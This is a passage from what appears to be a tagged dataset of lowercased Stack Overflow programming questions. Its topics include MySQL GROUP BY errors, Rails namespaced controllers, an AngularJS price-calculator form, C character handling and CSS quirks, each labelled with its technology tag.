left join group_customer c on c .id = b.group_customer_id        left join account d on d.id = c.piutang_dagang_id  union  select      d.id      d.code      a.purchase_date as trx_date      b.name as relasi      a.purchase_no as trx_no       d  as dt      0 as debet      a.total_amount as kredit from     purchase_invoice a     left join supplier b on  a.supplier_id = b.id     left join group_supplier c on c .id = b.group_supplier_id        left join account d on d.id = c.hutang_dagang_id  union  select      d.id      d.code      a.invoice_date as trx_date      b.name as relasi      a.invoice_no as trx_no       d  as dt      a.total_amount as debet      0 as kredit from     invoice a     left join customer b on a.customer_id = b.id     left join group_customer c on b.group_customer_id = c.id     left join account d on c.uang_muka_id = d.id     group by a.invoice_no union  select      d.id      d.code      a.purchase_date as trx_date      b.name as relasi      a.purchase_no as trx_no       d  as dt      0 as debet      a.total_amount as kredit from     purchase_invoice a     left join supplier b on a.supplier_id = b.id     left join group_supplier c on b.group_supplier_id = c.id     left join account d on c.uang_muka_id = d.id     group by a.purchase_no ) ffasdff  where id =${acid} and trx_date &lt; ${datefrom}     at org.pentaho.reporting.engine.classic.core.modules.misc.datafactory.sql.simplesqlreportdatafactory.querydata(simplesqlreportdatafactory.java:210) ~[pentaho-reporting-engine-classic-core-5.1.0.0-752.jar:5.1.0.0-752.-1]     at org.pentaho.reporting.engine.classic.core.modules.misc.datafactory.sql.sqlreportdatafactory.querydata(sqlreportdatafactory.java:162) ~[pentaho-reporting-engine-classic-core-5.1.0.0-752.jar:5.1.0.0-752.-1] </code></pre>   and this one.   <pre><code>caused by: com.mysql.jdbc.exceptions.jdbc4.mysqlsyntaxerrorexception: expression #1 of select list is not in group by clause and contains nonaggregated column  accounter.d.id  which is not functionally dependent on columns in group by clause; this is incompatible with sql_mode=only_full_group_by </code></pre>   see this line <code>select list is not in group by clause and contains nonaggregated column  accounter.d.id </code>    i still have no idea what this mean.    what must i do  i am using fedora 24 x64.,mysql
how to create controllers in different namespace for an existing model   i have a product model in my rails app. now i want to create a controller and views for this product model through scaffolding in a different namespace(api).    till now i have tried using    <pre><code>rails g scaffold_controller product name:string price:integer  </code></pre>   and after this i added the this to my routes file    <pre><code>namespace :api do   resources :products end </code></pre>   now when i go to the link api/products . i get this error    <pre><code>uninitialized constant api::product </code></pre>   on the index action    <pre><code>def index    @api_products = api::product.all end </code></pre>   after this i removed the api:: from my controller index  new and create action. after doing this my index url (/api/products) was working fine but now when i try to create a new product(/api/products/new) i get the following error    <pre><code>undefined method `products_path   </code></pre>   this is the code for my model file (location is models/)     <pre><code>class product &lt; activerecord::base end </code></pre>   can anyone please help in implementing this correctly,ruby-on-rails
the maximum number of tables in a single database <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2137516/maximum-number-of-tables-in-mysql >maximum number of tables in mysql</a>    </blockquote>     is there a recommended number of tables a single database should contain. also  is there any drawback in having more than one opened connection in your application.     the application i m currently working on access a lot of tables or has the potential of accessing many tables. i thought of splitting the tables into different databases  since i have no experience with it  i hope someone will point me in the right direction.,mysql
datepicker by clicking on textfield  i am trying to implement the the date picker by clicking on textfield. i am using the code which is mentioned in the <a href= http://www.buggyprogrammer.co.uk/2010/08/18/open-uipickerview-when-user-enters-textfield/http://www.buggyprogrammer.co.uk/2010/08/18/open-uipickerview-when-user-enters-textfield/  rel= nofollow >this link</a>.    but i am not getting the output. if someone know how to bring the date picker by clicking on textfield. please provide me some solution for it.    thanks in advance.,iphone
save a custom int value for each user in a .net web application  does .net has any support for saving a custom int value for each (logged in) user     could i perhaps use the httpcontext.user property or something,.net
how can i create html tags in asp.net like ul  li  a etc  how can i create html tags in asp.net like ul  li  a  etc    in detail and in the simplest way possible with all html tags and dynamic manner.,asp.net
"$scope.$setpristine() is not working in angular  please help me to finish my form    i cannot understand 2 things:    1) why $setpristine() does not clear text fields after clicking button     2) why values of ng-model= calcname   ng-model= doorsize   ng-model= baseprice  are not sending to json with the other ng-models     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>// sauna door calculator
 
 angular
   .module( saunadoorcalc   [])
   .controller( saunadoorcalccontroller   function($scope  $http) {
 
     $scope.outerscope = {};
     $scope.formdata = {};
 
     $scope.sizeswitch = [{
       label:  стандартный  
       value:  standard 
     }  {
       label:  нестандартный  
       value:  special 
     }];
     $scope.selectedsizeswitch =  стандартный ; // default is стандартный
 
     $scope.standardsizes = [{
       label:  585х1880  
       price: 5600
     }  {
       label:  685x1880  
       price: 3600
     }  {
       label:  685x1980  
       price: 5600
     }  {
       label:  685x2080  
       price: 5600
     }  {
       label:  685x2180  
       price: 6600
     }  {
       label:  785x1880  
       price: 5600
     }  {
       label:  785x1980  
       price: 5600
     }  {
       label:  785x2080  
       price: 5600
     }  {
       label:  785x2180  
       price: 6600
     }];
     $scope.selectedstandardsize = $scope.standardsizes[1];
     // default is 685x1880 - second array element. first element index is 0.
 
     $scope.glass = [{
       label:  прозрачное (стандарт)  
       price: 0
     }  {
       label:  матовое (matelux)  
       price: 1000
     }  {
       label:  бронза (bronze)  
       price: 1500
     }  {
       label:  матовая бронза (matelux bronze)  
       price: 2000
     }  {
       label:  черное  
       price: 4000
     }];
     $scope.selectedglass = $scope.glass[0];
 
     $scope.korobka = [{
       label:  липа (стандарт)  
       price: 1000
     }  {
       label:  лиственница  
       price: 2000
     }  {
       label:  бук  
       price: 3000
     }  {
       label:  дуб  
       price: 6000
     }];
     $scope.selectedkorobka = $scope.korobka[0];
 
     $scope.petli = [{
       label:  хром (стандарт)  
       price: 900
     }  {
       label:  бронза  
       price: 1900
     }  {
       label:  золото  
       price: 2000
     }];
     $scope.selectedpetli = $scope.petli[0];
 
     $scope.dekor = [{
       label:  нет  
       price: 0
     }  {
       label:  пескоструйный рисунок  
       price: 1000
     }  {
       label:  лазерная гравировка  
       price: 1500
     }  {
       label:  фотопечать  
       price: 2000
     }  {
       label:  пескоструйный рисунок с фьюзингом  
       price: 3000
     }];
     $scope.selecteddekor = $scope.dekor[0];
 
     $scope.dostavka = [{
       label:  нет  
       price: 0
     }  {
       label:  в пределах мкад  
       price: 1500
     }  {
       label:  за мкад  
       price: 1500
     }];
     $scope.selecteddostavka = $scope.dostavka[0];
     $scope.montazh = 0;
 
     $scope.url =  /izdeliya-iz-stekla/steklyannye-dveri/steklyannye-dveri-dlya-sauny ;
 
     $scope.submit = function(isvalid) {
       if (isvalid) {
         $http.post($scope.url  {
            calcname : $scope.calcname 
            doorsize : $scope.doorsize 
            baseprice : $scope.baseprice 
            glass : $scope.selectedglass 
            korobka : $scope.selectedkorobka 
            petli : $scope.selectedpetli 
            dekor : $scope.selecteddekor 
            dostavka : $scope.selecteddostavka 
            montazh : $scope.montazh 
            name : $scope.name 
            tel : $scope.tel 
            email : $scope.email 
            msg : $scope.msg 
         }).
         success(function(data  status) {
           console.log(data);
           $scope.status = status;
           $scope.data = data;
           $scope.result = data;
         });
         $scope.calculator.$setpristine();
         $scope.message =  заказ отправлен. в ближайшее время мы с вами свяжемся. ;
 
       } else {
         $scope.message =  заполните обязательные поля формы! ;
       }
 
     }
 
 
   });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>table {
   border-collapse: collapse;
 }
 table td {
   border: 1px solid #0088cc;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js &gt;&lt;/script&gt;
 &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;form ng-app= saunadoorcalc  ng-controller= saunadoorcalccontroller  class= calculator  name= calculator &gt;
 
   &lt;input name= calcname  ng-model= calcname  type= hidden  value= saunadoor &gt;
 
   &lt;div class= row &gt;
     &lt;div class= col-xs-12 col-sm-6 &gt;размер дверной коробки
       &lt;div class= input  ng-repeat= a in sizeswitch &gt;
         &lt;input type= radio  name= sizeswitch  ng-model= $parent.selectedsizeswitch  ng-value= a.label  id= {{a.value}} &gt;
         &lt;label for= @{{a.value}} &gt;{{a.label}}&lt;/label&gt;
       &lt;/div&gt;
     &lt;/div&gt;
 
     &lt;div ng-switch on= selectedsizeswitch &gt;
       &lt;div class= col-xs-12 col-sm-6  ng-switch-default&gt;стандартные размеры дверной коробки (мм)
         &lt;div class= custom-dropdown custom-dropdown--white &gt;
           &lt;select ng-model= $parent.selectedstandardsize  ng-options= b.label for b in standardsizes  class= standard_sizes custom-dropdown__select custom-dropdown__select--white &gt;&lt;/select&gt;
         &lt;/div&gt;
       &lt;/div&gt;
 
       &lt;div class= col-xs-12 col-sm-6  ng-switch-when= нестандартный &gt;нестандартные размеры дверной коробки
         &lt;div class= input &gt;
           &lt;input name= door_size_b  id= input1  type= text  ng-model= $parent.doorsizeb  ng-pattern= /^[0-9]{1 4}$/  placeholder=  &gt;
           &lt;label for= door_size_b &gt;ширина дверной коробки  мм&lt;/label&gt;
           &lt;span ng-show= calculator.door_size_b.$error.pattern &gt;введите число от 0 до 9999мм&lt;/span&gt;
         &lt;/div&gt;
 
         &lt;div class= input &gt;
           &lt;input name= door_size_h  id= door_size_h  type= text  ng-model= $parent.doorsizeh  ng-pattern= /^[0-9]{1 4}$/ &gt;
           &lt;label for= door_size_h &gt;высота дверной коробки  мм&lt;/label&gt;
           &lt;span ng-show= calculator.door_size_b.$error.pattern &gt;введите число от 0 до 9999мм&lt;/span&gt;
         &lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
 
 
   &lt;/div&gt;
 
   &lt;div class= row &gt;
     &lt;div class= col-xs-12 col-sm-6 &gt;&lt;span class= col-xs-6 col-sm-3 &gt;стекло&lt;/span&gt;
       &lt;div class= custom-dropdown custom-dropdown--white &gt;
         &lt;select ng-model= selectedglass  ng-options= c.label for c in glass  class= custom-dropdown__select custom-dropdown__select--white &gt;&lt;/select&gt;
       &lt;/div&gt;
     &lt;/div&gt;
 
     &lt;div class= col-xs-12 col-sm-6 &gt;&lt;span class= col-xs-6 col-sm-3 &gt;материал коробки&lt;/span&gt;
       &lt;div class= custom-dropdown custom-dropdown--white &gt;
         &lt;select ng-model= selectedkorobka  ng-options= d.label for d in korobka  class= custom-dropdown__select custom-dropdown__select--white &gt;&lt;/select&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
 
   &lt;div class= row &gt;
     &lt;div class= col-xs-12 col-sm-6 &gt;&lt;span class= col-xs-6 col-sm-3 &gt;петли&lt;/span&gt;
       &lt;div class= custom-dropdown custom-dropdown--white &gt;
         &lt;select ng-model= selectedpetli  ng-options= e.label for e in petli  class= custom-dropdown__select custom-dropdown__select--white &gt;&lt;/select&gt;
       &lt;/div&gt;
     &lt;/div&gt;
 
     &lt;div class= col-xs-12 col-sm-6 &gt;&lt;span class= col-xs-6 col-sm-3 &gt;декор&lt;/span&gt;
       &lt;div class= custom-dropdown custom-dropdown--white &gt;
         &lt;select ng-model= selecteddekor  ng-options= f.label for f in dekor  class= custom-dropdown__select custom-dropdown__select--white &gt;&lt;/select&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= row &gt;
     &lt;div class= col-xs-12 col-sm-6 &gt;&lt;span class= col-xs-6 col-sm-3 &gt;доставка&lt;/span&gt;
       &lt;div class= custom-dropdown custom-dropdown--white &gt;
         &lt;select ng-model= selecteddostavka  ng-options= g.label for g in dostavka  class= custom-dropdown__select custom-dropdown__select--white &gt;&lt;/select&gt;
       &lt;/div&gt;
     &lt;/div&gt;
 
     &lt;div class= input col-xs-12 col-sm-6 &gt;
       &lt;input type= checkbox  id= montazh  ng-model= montazh  ng-true-value= 1500  ng-false-value= 0  /&gt;
       &lt;label for= montazh &gt;монтаж&lt;/label&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
 
   &lt;table class= result table table-hover table-striped table-bordered table-condensed  ng-switch on= selectedsizeswitch &gt;
     &lt;caption&gt;итоговая спецификация&lt;/caption&gt;
     &lt;tbody&gt;
       &lt;tr&gt;
         &lt;td&gt;опция&lt;/td&gt;
         &lt;td&gt;значение&lt;/td&gt;
         &lt;td&gt;цена  руб&lt;/td&gt;
       &lt;/tr&gt;
       &lt;tr&gt;
         &lt;td&gt;размер дверной коробки (мм):&lt;/td&gt;
         &lt;td ng-switch-default ng-model= doorsize &gt;{{selectedsizeswitch}}  {{selectedstandardsize.label}}&lt;/td&gt;
         &lt;td ng-switch-when= нестандартный  ng-model= doorsize &gt;{{selectedsizeswitch}}  {{doorsizeb}}x{{doorsizeh}}&lt;/td&gt;
         &lt;td ng-switch-default ng-model= baseprice &gt;{{selectedstandardsize.price}}&lt;/td&gt;
         &lt;td ng-switch-when= нестандартный  ng-model= baseprice &gt;{{doorsizeb*doorsizeh*5000/1000000}}&lt;/td&gt;
       &lt;/tr&gt;
 
       &lt;tr&gt;
         &lt;td&gt;стекло&lt;/td&gt;
         &lt;td&gt;{{selectedglass.label}}&lt;/td&gt;
         &lt;td&gt;{{selectedglass.price}}&lt;/td&gt;
       &lt;/tr&gt;
       &lt;tr&gt;
         &lt;td&gt;материал дверной коробки:&lt;/td&gt;
         &lt;td&gt;{{selectedkorobka.label}}&lt;/td&gt;
         &lt;td&gt;{{selectedkorobka.price}}&lt;/td&gt;
       &lt;/tr&gt;
       &lt;tr&gt;
         &lt;td&gt;петли:&lt;/td&gt;
         &lt;td&gt;{{selectedpetli.label}}&lt;/td&gt;
         &lt;td&gt;{{selectedpetli.price}}&lt;/td&gt;
       &lt;/tr&gt;
       &lt;tr&gt;
         &lt;td&gt;декор:&lt;/td&gt;
         &lt;td&gt;{{selecteddekor.label}}&lt;/td&gt;
         &lt;td&gt;{{selecteddekor.price}}&lt;/td&gt;
       &lt;/tr&gt;
       &lt;tr&gt;
         &lt;td&gt;доставка:&lt;/td&gt;
         &lt;td&gt;{{selecteddostavka.label}}&lt;/td&gt;
         &lt;td&gt;{{selecteddostavka.price}}&lt;/td&gt;
       &lt;/tr&gt;
       &lt;tr&gt;
         &lt;td&gt;монтаж:&lt;/td&gt;
         &lt;td&gt;{{montazh.label}}&lt;/td&gt;
         &lt;td&gt;{{montazh}}&lt;/td&gt;
       &lt;/tr&gt;
 
       &lt;tr&gt;
         &lt;td&gt;стоимость двери:&lt;/td&gt;
         &lt;td&gt;&lt;/td&gt;
         &lt;td ng-switch-default&gt;{{selectedstandardsize.price + selectedglass.price + selectedkorobka.price + selectedpetli.price + selecteddekor.price + selecteddostavka.price + montazh}}&lt;/td&gt;
         &lt;td ng-switch-when= нестандартный &gt;{{doorsizeb*doorsizeh*5000/1000000 + selectedglass.price + selectedkorobka.price + selectedpetli.price + selecteddekor.price + selecteddostavka.price + montazh}}&lt;/td&gt;
       &lt;/tr&gt;
     &lt;/tbody&gt;
   &lt;/table&gt;
 
 
   &lt;div class= col-sm-6 &gt;
     &lt;div class= input &gt;
       &lt;input id= name  name= name  ng-model= name  type= text  required&gt;
       &lt;label for= name &gt;ваше имя *&lt;/label&gt;
     &lt;/div&gt;
     &lt;div class= input &gt;
       &lt;input id= phone  name= tel  ng-model= tel  type= text  required&gt;
       &lt;label for= phone &gt;номер телефона *&lt;/label&gt;
     &lt;/div&gt;
     &lt;div class= input &gt;
       &lt;input id= email  name= email  ng-model= email  type= email  required&gt;
       &lt;label for= email &gt;адрес электронной почты *&lt;/label&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= col-sm-6 &gt;
     &lt;div class= input &gt;
       &lt;textarea id= msg  name= msg  ng-model= msg &gt;&lt;/textarea&gt;
       &lt;label for= message &gt;комментарии&lt;/label&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
 
   &lt;div class= footer col-xs-12 col-sm-6 &gt;
     &lt;button type= submit  class= btn btn-primary pull-right  ng-click= submit(calculator.$valid) &gt;отправить заказ&lt;/button&gt;
   &lt;/div&gt;
 
 
 &lt;/form&gt;</code></pre>
 </div>
 </div>",angularjs
how to limit length of data in the output -sql <pre><code>select po.po_number .... some query where  po.po_number not like  %[^0-9]%  and (mai.removed = 0) order by mai.unique_issue_id </code></pre>   here the output that i am getting is 10-digit numeric value   but i want 10-digit as well as 8 digit numeric  please suggest.,sql
better way to use ng-class  i have a table with a sortable columns (the header icon determine according to the sorting existance and direction):   <pre><code>&lt;table border= 1 &gt;     &lt;thead&gt;         &lt;tr&gt;             &lt;th&gt;#&lt;/th&gt;             &lt;th ng-click= sort(studies   patientname )  class= sortable               ng-class= { ascending : sortingfield ==  patientname  &amp;&amp; sortingdirection ==  asc                             decending : sortingfield ==  patientname  &amp;&amp; sortingdirection ==  desc  } &gt;patientname&lt;/th&gt;          &lt;/tr&gt; </code></pre>   i feel my use in ng-class is bad practice  how can i improve it <br> how can i avoid duplication of check and not repeating the  patientname  field again and again since i need to other column with different names.    many thanks.,angularjs
acessing structure declared from another file->objective c  i am new to objective c.   <pre><code>remote.h  struct rmh_request_session_msg {     int  udeviceid;     int  uprotocolversion;     int  ureserved[5]; };      @interface remote : nsobject {    }     @end        data_derived.h      #import  remote.h       @interface data_derived : data {      @public      rmh_request_session_msg st;  }  @end </code></pre>  <blockquote>    error:expected   specifier-qualifier-list before    rmh_request_session_msg   </blockquote>   here the structure declaration is made outside but i could not able to assign a variable     for this structure in another class that is declared in another file.i m getting an     error.what has to be done to clear up this error.thanks in advance.,objective-c
wanted to know favorite play list songs of end users  should be on server or client side(sqlite) iphone sdk   actually i am developing an app like net flix and in that i need to save favorite songs of end user  i am playing http live streamed videos and also i need to save played time of an video so that end user would be able to play a song from where he has left this song rather then just play it again from beginning.    they are sending me url of streamed videos in following format <strong>http://xxxxxxxxxx/vod/<em>definsts</em>/mp4/low/mp4:1975010026_01.mp4/playlist.m3u8</strong>    so my question is that  <strong>what should be the best option to save user s favorite songs according to streamed url</strong>  means net flix kind of app having favorite songs in client side or at server side.what should be the preferred one and i am using mpmediaplayercontroller from apple movieplayer sample app code. if some one has any idea and want to know any thing more from my side then i will be available. i am and will be highly obliged for your any help.  sorry but my english is not good and i don t know how to play with words. any small help or suggestion would be much appreciated.,iphone
null-terminated string  which of the following are null-terminated string    <pre><code>char *str1 =  this is a string. ; char *str2 =  this is a string.\0 ; char str3[] =  this is a string. ; const char *str4 =  this is a string. ; const char *str5 =  this is a string.\0 ; const char str6[] =  this is a string. ; </code></pre>,c++
can you display all information from a class using a loop in java  i am wondering if there is a way to use a loop to display class information.    for example  if i have multiple instance created like    <pre><code>specimen a = new specimen( 1    2    3 ); specimen b = new specimen( 4    5    6 ); </code></pre>   and a tostring method which would display my information in the desired way; is there any possible way to use a loop or while to print a.tostring() and b.tostring() and so on (c d e f g  etc) without having to continuously type a.tostring()  b.tostring  etc.    this is currently what my main method looks like   <pre><code>    public static void main(string[]args){         specimen sf11 = new specimen( sf11    starfish   10  20 );         system.out.println(sf11.tostring());         specimen su12 = new specimen( su12    sea urchin   12  25);         system.out.println(su12.tostring());         sf11.setscount(16); sf11.setsname( blue starfish ); sf11.setstank(22);         system.out.print(sf11.tostring() +  \n  + su12.tostring());     } } </code></pre>,java
how can i make my program recognize tabs and turn them into normal spaces   i am currently in the process of learning/ re-learning c. i had some trouble learning it last year in school. i am using a book and one of the exercises is asking to get excessive spaces and turn them into just one space. the problem is that i can t make it recognize tabs. i have looked for some on here already but they all deal with arrays. i can t use arrays. this is what i have so far.    <pre><code>int main() {     int c;      c = getchar();     while (c != eof)     {         if (c ==    )         {             putchar(c);             for (c = getchar(); c ==    ; c = getchar())                 ;         }         else if (c ==  \t )             putchar(   );         putchar(c);         c = getchar();     } } </code></pre>   so basically  the code starts off with getting a char value and putting it into  c . then while c is not eof  if c equals the ascii value of space it is going to output it and enter a for loop. the for loop tests for additional spaces. c equals the following char and while c equals the ascii value of space  it the for loop will do nothing and it will iterate until all additional spaces are gone. the if statement works perfectly by the way.     then i go into an else if which i am certain is wrong but it s my latest attempt. so for this i said else if c equals the ascii value of tab (is that a thing  if not that might be what my error is) put down a space by using putchar(   ). i feel like that command might be wrong as well. after that statement it then exits the conditional  puts out the value then c now equals a new char and the loop continues.     thanks!    edit: so right after posting this i realized  at least i think  my error is the putchar(c) at the bottom which is still printing out the tab regardless  although i am still not sure how to approach the problem. one more thing is that these are the only commands i can use. the book still assumes i don t know how arrays and such work in c yet.,c
retrieving a file from iphone device  i m making a game and writing save files into the document directory on the iphone.    is there a way for me to retrieve these files from the actual device  i know i can find the ones saved from the simulator.,iphone
is there a way to call a function every time a jquery basic function is called   i would like everytime i call a jquery load function:   <pre><code>$( #div ).load( file.php ); </code></pre>   to then call a separate function:   <pre><code>function secondfunction() {     //do stuff } </code></pre>,jquery
uitextfield text color is not changing while not in focus  so i have two <code>uitextfields</code>: name and amount and two <code>uibuttons</code>: income  expense.<br> when i press the expense button i want my <code>amount</code> textfield color to change to red or green if income button is pressed.     this only works if <code>amount</code> textfield is in focus  if <code>name</code> textfield is in focus  the color is not changed for amount.      is there a way to change the color of the textfield if it s not in focus      edit:    here is my code where i change the color:   <pre><code>@ibaction func typebtnpressed(_ sender: uibutton) {     if sender.tag == buttons.expense.rawvalue {         amounttxt.textcolor = .red     } else {         amounttxt.textcolor = .green     } } </code></pre>,ios
overwriting txt file in c#  <strong>update</strong> sorry for not explaining it clearly. the output i want is to update the save file with new text and not continue writing it at the end of line. not sure if i explaining it correctly. please correct me if i m wrong. thank you.   <hr>   was trying to overwrite the whole .txt file. but it only continue to add on more line to the file instead of overwriting it. tried putting true inside outfile but still don t work. it will be great if anyone can teach me on how to overwrite the text file.    thanks in advance.   <pre><code>   private void bttsave_click(object sender  eventargs e)         {             outfile = new filestream(filename  filemode.append  fileaccess.write); //creating a file stream object to open file for reading             writer = new streamwriter(outfile); //creating a stream writer with the outfile file stream object             for(int i = 0; i &lt; datagridresult.rowcount; i++)             {                 writer.writeline(adminnotxt.text + delim + datagridresult.rows[i].cells[0].value.tostring() + delim + datagridresult.rows[i].cells[1].value.tostring() + delim + datagridresult.rows[i].cells[2].value.tostring());                 //using stream writer to write a record             }              writer.close();             outfile.close();          } </code></pre>,c#
how can i pause the dynamic animator in objc   i have two uiviews. i use uidynamicanimatior. i add gravity and collision to these uiviews. when the app starts  i want to pause the animation when i tap the screen or switch the app to the background. when i tap the screen   again  the app will resume.,objective-c
how to handle response on rails with coffescript   i have a form    <pre><code>&lt;%= form_tag check_question_path(:id =&gt; @question.id)  class:  check-form   remote: true do %&gt; </code></pre>   the form is been sent to the server and i am tracing the response on my browser but the coffescript is not been triggered.    <pre><code>  $( .check-form ).on( ajax:success   (e  data  status  xhr) -&gt; alert( cool ); console.log( success )) </code></pre>   what am i missing,ruby-on-rails
absolute position text inside table not aligning properly  i have a html code. there is a table with three rows and three columns. each cell has some text. everything is absolutely positioned. when i see this html in different browsers  all the browsers show it correctly except ie. below is the part of html code which has problems. if you notice  ie is shifting the text up with every subsequent row. rest of the browsers don t have this problem.   <pre><code>&lt;!doctype document public  -//w3c//dtd xhtml 1.0 strict//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt; &lt;document xmlns= http://www.w3.org/1999/xhtml &gt; &lt;meta name= author  content= *** /&gt; &lt;meta name= documentname  content= page /&gt; &lt;meta name= date  content= 07/21/2012 /&gt; &lt;notice name= page &gt; &lt;html&gt; &lt;head&gt; &lt;style type= text/css &gt; div.page61989 {} .f1 {font-family:arial;font-size:10.00pt;font-style:normal;font-weight:normal;line-height:114%;} p.normal  table.normal  div.normal {text-align:left; text-indent:0; margin-top:0in; margin-right:0in; margin-bottom:0.0in; margin-left:0in; clear:left;} &lt;/style&gt; &lt;/head&gt; &lt;body lang= en-us  link= blue  vlink= purple &gt; &lt;div class= page61989  style= position:relative;height:1056px;width:816px; &gt; &lt;table class= normal  style= width:578.00px;border-collapse:collapse;border:1.00px solid #ff9900;position:absolute;top:328.00px;left:120.00px; &gt;     &lt;tr&gt;         &lt;td style= height:31.000px;width:192.000px;;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:0.00px;left:0.00px;  &gt;this table has regular old&lt;/span&gt;&lt;span class= f1  style= ;position:absolute;top:16.00px;left:0.00px;  &gt;square corners.&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;         &lt;td style= height:31.000px;width:192.000px;border-left:1.00px solid #ff9900;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:0.00px;left:192.00px;  &gt;cell 2 row 1&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;         &lt;td style= height:31.000px;width:192.000px;border-left:1.00px solid #ff9900;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:0.00px;left:384.00px;  &gt;cell 3  row 1&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td style= height:31.000px;width:192.000px;border-top:1.00px solid #ff9900;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:31.00px;left:0.00px;  &gt;cell 1 row 2&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;         &lt;td style= height:31.000px;width:192.000px;border-top:1.00px solid #ff9900;border-left:1.00px solid #ff9900;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:31.00px;left:192.00px;  &gt;cell 2 row 2&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;         &lt;td style= height:31.000px;width:192.000px;border-top:1.00px solid #ff9900;border-left:1.00px solid #ff9900;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:31.00px;left:384.00px;  &gt;cell 2 row 3  this table has a&lt;/span&gt;&lt;span class= f1  style= ;position:absolute;top:375.00px;left:384.00px;  &gt;square corner defined.&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td style= height:16.000px;width:192.000px;border-top:1.00px solid #ff9900;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:62.00px;left:0.00px;  &gt;added another row&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;         &lt;td style= height:16.000px;width:192.000px;border-top:1.00px solid #ff9900;border-left:1.00px solid #ff9900;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:62.00px;left:192.00px;  &gt;added another row&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;         &lt;td style= height:16.000px;width:192.000px;border-top:1.00px solid #ff9900;border-left:1.00px solid #ff9900;  &gt;             &lt;p class= normal &gt;&lt;span class= f1  style= ;position:absolute;top:62.00px;left:384.00px;  &gt;added another row&lt;/span&gt;&lt;/p&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt;&lt;br style= clear:left; /&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; &lt;/notice&gt; &lt;/document&gt; </code></pre>   just to let you know that its an automatically generated code  so i have no option but to use absolute positioning. also  some of the parts may not be valid or looks surprising but  please ignore them. any ideas,html
css what is the meaning of this code snippet  updated  update    in my style sheet i have a conflict with these snippets. if i keep this one   <pre><code> &lt;style type= text/css &gt;          ::selection{ background-color: #e13300; color: white; }     ::moz-selection{ background-color: #e13300; color: white; }     ::webkit-selection{ background-color: #e13300; color: white; } </code></pre>   then  the gradient effect of the one below works  but the header banner is displaced towards the right. if i remove that  the header banner positions itself correctly  but the gradient effect of the code below does not work :/    <pre><code>body {                  background-image:url( ../assets/uploads/miweb/gradient2.png );                 background-repeat:repeat-x;                  margin: 40px;                 font: 13px/20px normal helvetica  arial  sans-serif;                 color: #4f5155;                 width:600px;                 height:500px;                 margin: 0 auto;              }          a { </code></pre>   update ii    these 3 lines    <pre><code>::selection{ background-color: #e13300; color: white; } ::moz-selection{ background-color: #e13300; color: white; } ::webkit-selection{ background-color: #e13300; color: white; } </code></pre>   have a huge impact on the rest of the page    they make this code:    <pre><code>body {            background-image:url( ../assets/uploads/miweb/gradient2.png );         background-repeat:repeat-x;          margin: 40px;         font: 13px/20px normal helvetica  arial  sans-serif;         color: #4f5155;         width:600px;         height:500px;         margin: 0 auto;      } </code></pre>   be effective. if i remove those 3 lines  the gradient effect will not take effect and the font letters will not be of that family but the standard times roman. however  the negative effect is  like i said  that it displaces to the right a banner that i have as header    i have one header page  one controller and one view and the style sheet to which i have a link in the view,css
"how does variable assignment work in javascript   so i was playing around the other day just to see exactly how mass assignment works in javascript.    first i tried this example in the console:   <pre><code>a = b = {}; a.foo =  bar ; console.log(b.foo); </code></pre>   the result was  bar  being displayed in an alert. that is fair enough  <code>a</code> and <code>b</code> are really just aliases to the same object. then i thought  how could i make this example simpler.   <pre><code>a = b =  foo ; a =  bar ; console.log(b); </code></pre>   that is pretty much the same thing  isn t it  well this time  it returns <code>foo</code> not <code>bar</code> as i would expect from the behaviour of the first example.    why does this happen     <strong>n.b.</strong> this example could be simplified even more with the following code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>a = {};
 b = a;
 a.foo =  bar ;
 console.log(b.foo);
 
 a =  foo ;
 b = a;
 a =  bar ;
 console.log(b);</code></pre>
 </div>
 </div>
     (i suspect that javascript treats primitives such as strings and integers differently to hashes. hashes return a pointer while  core  primitives return a copy of themselves)",javascript
nbsp not working in css content tag <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/190396/adding-html-entities-using-css-content >adding html entities using css content</a>    </blockquote>    <pre><code>#sitenavmenu-content-menu li:before {     content: |&amp;nbsp;&amp;nbsp; ; } </code></pre>   i want to add a | and two spaces before each list item. however  for some reason it prints the word nbsp and not the space. any ideas,css
